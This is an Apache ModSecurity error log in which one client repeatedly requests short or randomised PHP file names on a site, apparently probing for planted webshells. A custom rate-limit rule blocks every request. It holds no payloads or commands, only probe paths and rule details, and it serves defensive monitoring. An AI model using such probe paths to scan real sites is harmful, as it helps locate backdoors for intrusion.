[Sat Feb 28 12:32:14.599263 2026] [:error] [pid 52460:tid 52487] [client 20.151.113.230:24504] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "aaJvzrLWOogAgHGh62QS7QAAAZg"]
[Sat Feb 28 12:32:15.008654 2026] [:error] [pid 39185:tid 39256] [client 20.151.113.230:24500] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaJvzxVE-FfM89u7BQaghAAAAIo"]
[Sat Feb 28 12:32:15.443989 2026] [:error] [pid 52460:tid 52464] [client 20.151.113.230:24492] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaJvz7LWOogAgHGh62QS8gAAAYE"]
[Sat Feb 28 12:32:15.856071 2026] [:error] [pid 39185:tid 39263] [client 20.151.113.230:24524] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaJvzxVE-FfM89u7BQagjQAAAJE"]
[Sat Feb 28 12:32:16.264948 2026] [:error] [pid 11791:tid 11812] [client 20.151.113.230:24525] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaJv0GuX5e1Q32gqxH0HZAAAARM"]
[Sat Feb 28 12:32:16.674848 2026] [:error] [pid 39185:tid 39266] [client 20.151.113.230:24533] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0bb45ctt.php"] [unique_id "aaJv0BVE-FfM89u7BQagkgAAAJQ"]
[Sat Feb 28 12:32:17.092501 2026] [:error] [pid 39185:tid 39251] [client 20.151.113.230:24393] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0bb45ctt.php"] [unique_id "aaJv0RVE-FfM89u7BQaglgAAAIU"]
[Sat Feb 28 12:32:17.508632 2026] [:error] [pid 52460:tid 52463] [client 20.151.113.230:24474] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0bb45ctt.php"] [unique_id "aaJv0bLWOogAgHGh62QS-wAAAYA"]
[Sat Feb 28 12:32:17.919751 2026] [:error] [pid 52460:tid 52480] [client 20.151.113.230:24455] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0bb45ctt.php"] [unique_id "aaJv0bLWOogAgHGh62QTAwAAAZE"]
[Sat Feb 28 12:32:18.376344 2026] [:error] [pid 52460:tid 52478] [client 20.151.113.230:24520] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "aaJv0rLWOogAgHGh62QTEQAAAY8"]
[Sat Feb 28 12:32:18.787900 2026] [:error] [pid 39292:tid 39313] [client 20.151.113.230:24535] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "aaJv0qIAO5fN7BxyqcHGJAAAANM"]
[Sat Feb 28 12:32:19.198563 2026] [:error] [pid 39183:tid 39200] [client 20.151.113.230:24460] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "aaJv0xCf4HvhVePw3LbkHQAAAAg"]
[Sat Feb 28 12:32:19.610135 2026] [:error] [pid 39292:tid 39308] [client 20.151.113.230:24465] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "aaJv06IAO5fN7BxyqcHGKAAAAM4"]
[Sat Feb 28 12:32:20.021022 2026] [:error] [pid 52460:tid 52486] [client 20.151.113.230:24518] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "aaJv1LLWOogAgHGh62QTHQAAAZc"]
[Sat Feb 28 12:32:20.436816 2026] [:error] [pid 22194:tid 22213] [client 20.151.113.230:24543] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "aaJv1H6mbajs3bzQGys26QAAAVE"]
[Sat Feb 28 12:32:20.846710 2026] [:error] [pid 52460:tid 52480] [client 20.151.113.230:24557] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "aaJv1LLWOogAgHGh62QTJwAAAZE"]
[Sat Feb 28 12:32:21.274305 2026] [:error] [pid 39185:tid 39261] [client 20.151.113.230:24559] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "aaJv1RVE-FfM89u7BQagngAAAI8"]
[Sat Feb 28 12:32:21.682628 2026] [:error] [pid 39185:tid 39253] [client 20.151.113.230:24420] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aaJv1RVE-FfM89u7BQagoAAAAIc"]
[Sat Feb 28 12:32:22.091181 2026] [:error] [pid 39292:tid 39307] [client 20.151.113.230:24498] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aaJv1qIAO5fN7BxyqcHGLAAAAM0"]
[Sat Feb 28 12:32:22.521553 2026] [:error] [pid 39185:tid 39249] [client 20.151.113.230:24409] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aaJv1hVE-FfM89u7BQagqQAAAIM"]
[Sat Feb 28 12:32:22.936326 2026] [:error] [pid 52460:tid 52470] [client 20.151.113.230:24571] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aaJv1rLWOogAgHGh62QTMAAAAYc"]
[Sat Feb 28 12:32:23.364689 2026] [:error] [pid 52460:tid 52477] [client 20.151.113.230:24512] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaJv17LWOogAgHGh62QTNwAAAY4"]
[Sat Feb 28 12:32:23.776981 2026] [:error] [pid 39185:tid 39267] [client 20.151.113.230:24532] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaJv1xVE-FfM89u7BQagtgAAAJU"]
[Sat Feb 28 12:32:24.186417 2026] [:error] [pid 52460:tid 52464] [client 20.151.113.230:24560] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaJv2LLWOogAgHGh62QTPwAAAYE"]
[Sat Feb 28 12:32:24.596860 2026] [:error] [pid 22194:tid 22204] [client 20.151.113.230:24456] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaJv2H6mbajs3bzQGys28gAAAUg"]
[Sat Feb 28 12:32:25.007324 2026] [:error] [pid 52460:tid 52487] [client 20.151.113.230:24341] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aaJv2bLWOogAgHGh62QTSAAAAZg"]
[Sat Feb 28 12:32:25.422287 2026] [:error] [pid 52460:tid 52481] [client 20.151.113.230:24471] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aaJv2bLWOogAgHGh62QTTgAAAZI"]
[Sat Feb 28 12:32:25.832056 2026] [:error] [pid 52460:tid 52475] [client 20.151.113.230:24536] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aaJv2bLWOogAgHGh62QTWQAAAYw"]
[Sat Feb 28 12:32:26.242007 2026] [:error] [pid 22194:tid 22198] [client 20.151.113.230:24562] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aaJv2n6mbajs3bzQGys28wAAAUI"]
[Sat Feb 28 12:32:26.650985 2026] [:error] [pid 39292:tid 39303] [client 20.151.113.230:24499] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/62ix02bk.php"] [unique_id "aaJv2qIAO5fN7BxyqcHGMQAAAMk"]
[Sat Feb 28 12:32:27.058457 2026] [:error] [pid 39292:tid 39294] [client 20.151.113.230:24323] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/62ix02bk.php"] [unique_id "aaJv26IAO5fN7BxyqcHGMwAAAMA"]
[Sat Feb 28 12:32:27.469868 2026] [:error] [pid 39184:tid 39222] [client 20.151.113.230:24428] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/62ix02bk.php"] [unique_id "aaJv21tZF9Zd_U7easDTVwAAAEM"]
[Sat Feb 28 12:32:27.880744 2026] [:error] [pid 39185:tid 39270] [client 20.151.113.230:24384] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/62ix02bk.php"] [unique_id "aaJv2xVE-FfM89u7BQagzgAAAJg"]
[Sat Feb 28 12:32:28.291219 2026] [:error] [pid 39185:tid 39249] [client 20.151.113.230:24476] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdf.php"] [unique_id "aaJv3BVE-FfM89u7BQag0gAAAIM"]
[Sat Feb 28 12:32:28.708712 2026] [:error] [pid 39185:tid 39254] [client 20.151.113.230:24483] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdf.php"] [unique_id "aaJv3BVE-FfM89u7BQag2QAAAIg"]
[Sat Feb 28 12:32:29.120252 2026] [:error] [pid 39292:tid 39299] [client 20.151.113.230:24484] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdf.php"] [unique_id "aaJv3aIAO5fN7BxyqcHGNAAAAMU"]
[Sat Feb 28 12:32:29.528759 2026] [:error] [pid 11791:tid 11806] [client 20.151.113.230:24468] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdf.php"] [unique_id "aaJv3WuX5e1Q32gqxH0HiQAAAQ0"]
[Sat Feb 28 12:32:29.938102 2026] [:error] [pid 39185:tid 39256] [client 20.151.113.230:24475] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6ijmjpa.php"] [unique_id "aaJv3RVE-FfM89u7BQag5AAAAIo"]
[Sat Feb 28 12:32:30.347963 2026] [:error] [pid 22194:tid 22205] [client 20.151.113.230:24387] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6ijmjpa.php"] [unique_id "aaJv3n6mbajs3bzQGys3BQAAAUk"]
[Sat Feb 28 12:32:30.756683 2026] [:error] [pid 39184:tid 39239] [client 20.151.113.230:24563] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6ijmjpa.php"] [unique_id "aaJv3ltZF9Zd_U7easDTYwAAAFQ"]
[Sat Feb 28 12:32:31.167052 2026] [:error] [pid 11791:tid 11805] [client 20.151.113.230:24429] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6ijmjpa.php"] [unique_id "aaJv32uX5e1Q32gqxH0HjAAAAQw"]
[Sat Feb 28 12:32:31.577307 2026] [:error] [pid 39292:tid 39318] [client 20.151.113.230:24546] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp_jVML8V37.php"] [unique_id "aaJv36IAO5fN7BxyqcHGPQAAANg"]
[Sat Feb 28 12:32:31.986205 2026] [:error] [pid 52460:tid 52465] [client 20.151.113.230:24402] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp_jVML8V37.php"] [unique_id "aaJv37LWOogAgHGh62QTkAAAAYI"]
[Sat Feb 28 12:32:32.397185 2026] [:error] [pid 39185:tid 39261] [client 20.151.113.230:24417] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp_jVML8V37.php"] [unique_id "aaJv4BVE-FfM89u7BQahBQAAAI8"]
[Sat Feb 28 12:32:32.819885 2026] [:error] [pid 11791:tid 11805] [client 20.151.113.230:24447] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp_jVML8V37.php"] [unique_id "aaJv4GuX5e1Q32gqxH0HogAAAQw"]
[Sat Feb 28 12:32:33.236798 2026] [:error] [pid 52460:tid 52466] [client 20.151.113.230:24458] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4wj632p1.php"] [unique_id "aaJv4bLWOogAgHGh62QTowAAAYM"]
[Sat Feb 28 12:32:33.648271 2026] [:error] [pid 52460:tid 52476] [client 20.151.113.230:24481] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4wj632p1.php"] [unique_id "aaJv4bLWOogAgHGh62QTtQAAAY0"]
[Sat Feb 28 12:32:34.085175 2026] [:error] [pid 11791:tid 11804] [client 20.151.113.230:24482] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4wj632p1.php"] [unique_id "aaJv4muX5e1Q32gqxH0HqAAAAQs"]
[Sat Feb 28 12:32:34.495179 2026] [:error] [pid 39185:tid 39252] [client 20.151.113.230:24431] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4wj632p1.php"] [unique_id "aaJv4hVE-FfM89u7BQahDQAAAIY"]
[Sat Feb 28 12:32:34.906465 2026] [:error] [pid 52460:tid 52473] [client 20.151.113.230:24537] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "aaJv4rLWOogAgHGh62QTxwAAAYo"]
[Sat Feb 28 12:32:35.314934 2026] [:error] [pid 39185:tid 39247] [client 20.151.113.230:24326] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "aaJv4xVE-FfM89u7BQahGQAAAIE"]
[Sat Feb 28 12:32:35.726083 2026] [:error] [pid 22194:tid 22219] [client 20.151.113.230:24473] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "aaJv436mbajs3bzQGys3IwAAAVc"]
[Sat Feb 28 12:32:36.145047 2026] [:error] [pid 39183:tid 39205] [client 20.151.113.230:24392] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "aaJv5BCf4HvhVePw3LbkNAAAAA0"]
[Sat Feb 28 12:32:36.566651 2026] [:error] [pid 52460:tid 52471] [client 20.151.113.230:24548] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e31hmf9b.php"] [unique_id "aaJv5LLWOogAgHGh62QT4gAAAYg"]
[Sat Feb 28 12:32:36.977615 2026] [:error] [pid 11791:tid 11802] [client 20.151.113.230:24551] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e31hmf9b.php"] [unique_id "aaJv5GuX5e1Q32gqxH0HyAAAAQk"]
[Sat Feb 28 12:32:37.386754 2026] [:error] [pid 39185:tid 39261] [client 20.151.113.230:24412] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e31hmf9b.php"] [unique_id "aaJv5RVE-FfM89u7BQahKQAAAI8"]
